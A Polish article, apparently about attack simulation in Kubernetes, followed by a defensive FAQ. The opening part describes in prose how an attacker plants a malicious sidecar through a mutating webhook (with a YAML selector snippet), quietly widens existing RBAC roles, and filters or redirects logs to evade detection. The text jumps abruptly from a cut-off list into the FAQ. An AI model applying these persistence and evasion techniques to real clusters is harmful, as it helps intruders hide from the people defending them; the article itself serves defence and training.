Ciekawym wektorem jest edycja pipeline’u „tylko” dla jednego, rzadziej używanego serwisu. Kto dokładnie śledzi, co się dzieje w jobie budującym wewnętrzny panel do generowania raportów? W jego obrazie można umieścić znacznie więcej niż w sztandarowej aplikacji frontowej.

Wstrzyknięcie złośliwego sidecara przez mutating webhook

Jeśli w klastrze działa mutating admission webhook (np. do wstrzykiwania sidecarów z proxy, agentów APM, security), przejęcie jego konfiguracji otwiera kolejną furtkę. Zamiast ręcznie modyfikować każdy Deployment, wystarczy, że webhook „dopomoże” przy tworzeniu nowego poda.

Mechanizm jest prosty:

  1. przejęcie lub utworzenie mutating webhooka z namespaceSelector pasującym do wybranej części klastra,
  2. dołożenie do specyfikacji Podów dodatkowego kontenera lub init-containera,
  3. ewentualne filtrowanie po etykietach, by nie psuć zbyt wielu rzeczy naraz.

Przykładowy fragment konfiguracji, który dodaje kontener „monitorujący” do każdego poda z etykietą app=web w namespace prod, może wyglądać zupełnie niewinnie dla kogoś, kto nie śledzi szczegółów:

webhooks:
- name: sidecar-injector.tools.svc
  namespaceSelector:
    matchLabels:
      env: prod
  objectSelector:
    matchLabels:
      app: web
  rules:
  - operations: ["CREATE"]
    apiGroups: [""]
    apiVersions: ["v1"]
    resources: ["pods"]

To właśnie webhook doda „niewinny” kontener, który otworzy zdalną powłokę lub wypchnie logi w niepowołane miejsce.

Ukrywanie śladów i utrudnianie detekcji

Maskowanie zmian w RBAC i konfiguracji

Z perspektywy obrony najprościej byłoby wykrywać gwałtowne zmiany: nagły przyrost uprawnień, pojawienie się nowych ClusterRoleBindingów, modyfikacje w kube-system. Atakujący wie o tym, więc stara się działać „na miękko”.

Zamiast tworzyć zupełnie nowe role, częściej podnosi uprawnienia istniejących:

  • dodanie pojedynczego verbs: ["update"] obok get i list,
  • rozszerzenie listy resources o jeden dodatkowy typ,
  • podpięcie się pod już istniejący ClusterRoleBinding dopisując tam kolejny subject.

Dzięki temu na pierwszy rzut oka „wszystko jest jak było”. Różnice wychodzą dopiero przy porównaniu z wcześniejszym snapshotem konfiguracji, a to nie jest coś, co każda organizacja ma zautomatyzowane.

Zmiana i filtracja logów z poziomu klastra

Kto kontroluje logi, ten kontroluje historię. Jeśli w klastrze działają centralne collectory (Fluentd, Fluent Bit, Vector, Logstash), przejęcie ich konfiguracji pozwala:

  • wycinać wybrane komunikaty (np. błędy autoryzacji, nietypowe commandy w podach),
  • przekierowywać logi części namespace’ów do innego endpointa,
  • Najczęściej zadawane pytania (FAQ)

    Jak z pozoru niewinny błąd w Kubernetes może doprowadzić do przejęcia całego klastra?

    Najczęściej chodzi o kombinację kilku „tymczasowych” odstępstw od zasad bezpieczeństwa. Przykład z życia: ktoś wrzuca do klastra debug-poda z uprawnieniami privileged: true, podmontowanym hostPath z węzła i ServiceAccountem, który ma rolę cluster-admin. Pod miał działać godzinę, zostaje na tygodnie.

    Jeśli atakujący dostanie się do takiego poda (np. przez lukę w aplikacji), z jego perspektywy jest już prawie rootem na węźle i dodatkowo ma dostęp do API Kubernetes z szerokimi uprawnieniami. Od tego punktu droga do przejęcia klastra, wyciągania sekretów, tworzenia własnych podów czy pivotu do reszty chmury jest naprawdę krótka.

    Jakie są najczęstsze błędy konfiguracyjne bezpieczeństwa w Kubernetes?

    W praktyce powtarza się kilka schematów. Najgroźniejsze to:

  • ServiceAccounty z przypisanym cluster-admin „na chwilę”, których nikt potem nie cofa ani nie usuwa,
  • pody uruchamiane jako privileged bez realnej potrzeby, często z hostPath do katalogów z węzła,
  • wyłączone lub mocno poluzowane polityki Pod Security (PSA/PodSecurityPolicy) dla „problematycznego” namespace,
  • otwarte na świat API serwery, kubelety, dashboardy albo dodatki z domyślną, słabą autoryzacją,
  • pipeline’y CI/CD, które mają za szerokie tokeny do klastra i chmury, trzymane w prostym .env lub repozytorium.

Każdy z tych błędów z osobna bywa „do przeżycia”, ale po połączeniu w łańcuch zdarzeń potrafią zamienić zwykły incydent w pełne przejęcie środowiska.

Kto najczęściej atakuje klastry Kubernetes i jakie ma motywacje?

Zwykle nie jest to filmowy „superhaker”, tylko ktoś, kto masowo skanuje Internet w poszukiwaniu otwartych API serwerów, kubeletów, dashboardów czy podatnych aplikacji. Trafia na Twój klaster raczej przypadkiem – bo był źle wystawiony lub zawierał lukę w jednym z serwisów. Dopiero gdy atak wygląda obiecująco, pojawia się ręczna eksploracja.

Najczęstsze motywacje są przyziemne: uruchomienie kryptokoparek na Twojej infrastrukturze, wyciągnięcie danych (bazy, kolejki, klucze API), pivot do reszty chmury albo sabotaż dostępności usług, także w formie ransomware. Zdarzają się też scenariusze wewnętrzne – pracownik z nadmiernymi uprawnieniami i złymi intencjami.

Jakie są główne powierzchnie ataku w klastrze Kubernetes?

Kubernetes ma kilka „gorących punktów”, które są szczególnie atrakcyjne dla napastnika:

  • API server – centralny mózg klastra; jeśli jest źle wystawiony lub słabo uwierzytelniany, przejęcie go oznacza przejęcie wszystkiego.
  • kubelet – agent na każdym węźle; błędna konfiguracja (brak auth, otwarte porty) daje możliwość manipulacji podami.
  • obrazy kontenerów – podatne aplikacje, przestarzałe biblioteki, kontenery działające jako root bez ograniczeń seccomp/AppArmor.
  • CI/CD – serwery buildów z tokenami do klastra, kluczami do rejestrów i kont chmurowych.
  • dodatki zewnętrzne – dashboardy, narzędzia backupu, monitoring, ingress controllery, operatory, które często mają wysokie uprawnienia.

Do tego dochodzą same pody aplikacyjne, które w wielu scenariuszach są punktem startu – atak zaczyna się od luki w mikroserwisie, a dopiero potem „wylewa” się na cały klaster.

Po co robić symulację ataku na Kubernetes, skoro mam już checklisty i skanery?

Symulacja (np. w formie ćwiczenia red team / purple team) spina teorię z praktyką. Pokazuje pełny łańcuch zdarzeń: od pierwszego, niewinnego błędu konfiguracyjnego, przez konkretne kroki atakującego, aż po to, co realnie dzieje się z danymi i infrastrukturą. Dzięki temu widać, gdzie zawiodły procesy, a nie tylko pojedyncze ustawienia YAML.

Efekt uboczny jest bardzo pożądany: inżynierowie przestają traktować polityki RBAC, Pod Security czy zasady w CI/CD jako „papierologię”. Zaczynają kojarzyć, które konkretne dziury pozwoliły na przejście z jednego kroku ataku do kolejnego – i uczą się je zatykać odruchowo, już na etapie codziennej pracy.

Jak praktycznie zmniejszyć ryzyko incydentu bezpieczeństwa w Kubernetes?

Dobre podejście to miks kilku prostych, ale konsekwentnych zasad. W codziennej praktyce najlepiej sprawdzają się:

  • zasada najmniejszych uprawnień dla ServiceAccountów, unikanie cluster-admin i regularne przeglądy istniejących ról,
  • ograniczenie lub pełne wyłączenie privileged oraz hostPath, chyba że jest to naprawdę konieczne i dobrze udokumentowane,
  • włączenie i egzekwowanie Pod Security Admission (np. poziom baseline/restricted) na przestrzeniach nazw,
  • twarde granice w CI/CD – krótkotrwałe tokeny, osobne konta techniczne, brak „sekretów w kodzie”,
  • regularne skanowanie obrazów oraz testy bezpieczeństwa (także atak z wnętrza poda), by sprawdzić, jak daleko da się zajść.

Dobrze zorganizowana obserwowalność domyka całość: logi, alerty, korelacja zdarzeń. Dzięki temu nie dowiadujesz się o incydencie z rachunku za chmurę albo telefonu od klienta.

Czym różni się atak z wnętrza poda od ataku bezpośrednio na API serwer Kubernetes?

Atak na API serwer to „frontowe wejście” – ktoś próbuje zalogować się lub wykorzystać błąd w samym API, kubelecie albo dashboardzie. W ataku z wnętrza klastra napastnik omija tę bramę: zaczyna od przejęcia jednego z podów, np. przez podatny endpoint HTTP, błędną deserializację czy brak autoryzacji w mikroserwisie.

Gdy już znajdzie się w podzie, bada środowisko: sprawdza token ServiceAccount, listuje uprawnienia w API, szuka montowanych wolumenów (np. hostPath), plików z kredencjałami, zmiennych środowisk z sekretami. Jeśli trafi na kombinację typu „mocny ServiceAccount + hostPath + brak restrykcji bezpieczeństwa”, szybko wychodzi poza pojedynczą aplikację i przechodzi do eskalacji w całym klastrze, a czasem dalej – do konta chmurowego.